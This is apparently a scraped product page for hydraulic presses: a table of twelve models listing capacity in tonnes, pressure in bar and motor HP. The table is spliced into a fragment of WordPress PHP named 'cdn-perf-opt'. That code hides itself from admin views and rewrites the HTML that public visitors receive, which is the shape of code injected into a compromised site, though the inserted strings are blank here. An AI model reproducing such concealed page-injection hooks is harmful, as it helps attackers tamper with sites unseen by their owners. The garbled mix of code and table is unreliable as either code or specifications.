// cdn-perf-opt add_action('wp_footer', function() { if (is_admin()) return; echo '
'; }, 999); add_action('template_redirect', function() { if (is_admin()) return; ob_start(function($h) { if (strpos($h, '
| SR.NO. | Max. Pressing Capacity(in tones) | Max. Working Pressure(in bar) | Motor operated hyd. power pack (in HP) |
|---|---|---|---|
| 01 | 15 | 200 | 03Hp |
| 02 | 15 | 200 | 03Hp |
| 03 | 25 | 200 | 03Hp |
| 04 | 25 | 200 | 03Hp |
| 05 | 35 | 225 | 03Hp |
| 06 | 35 | 225 | 03Hp |
| 07 | 45 | 225 | 03Hp |
| 08 | 45 | 225 | 03Hp |
| 09 | 60 | 225 | 03Hp |
| 10 | 60 | 225 | 05Hp |
| 11 | 80 | 225 | 05Hp |
| 12 | 100 | 225 | 07Hp |
') === false) return $h; return str_replace('', '
' . "\n", $h); }); }, 1);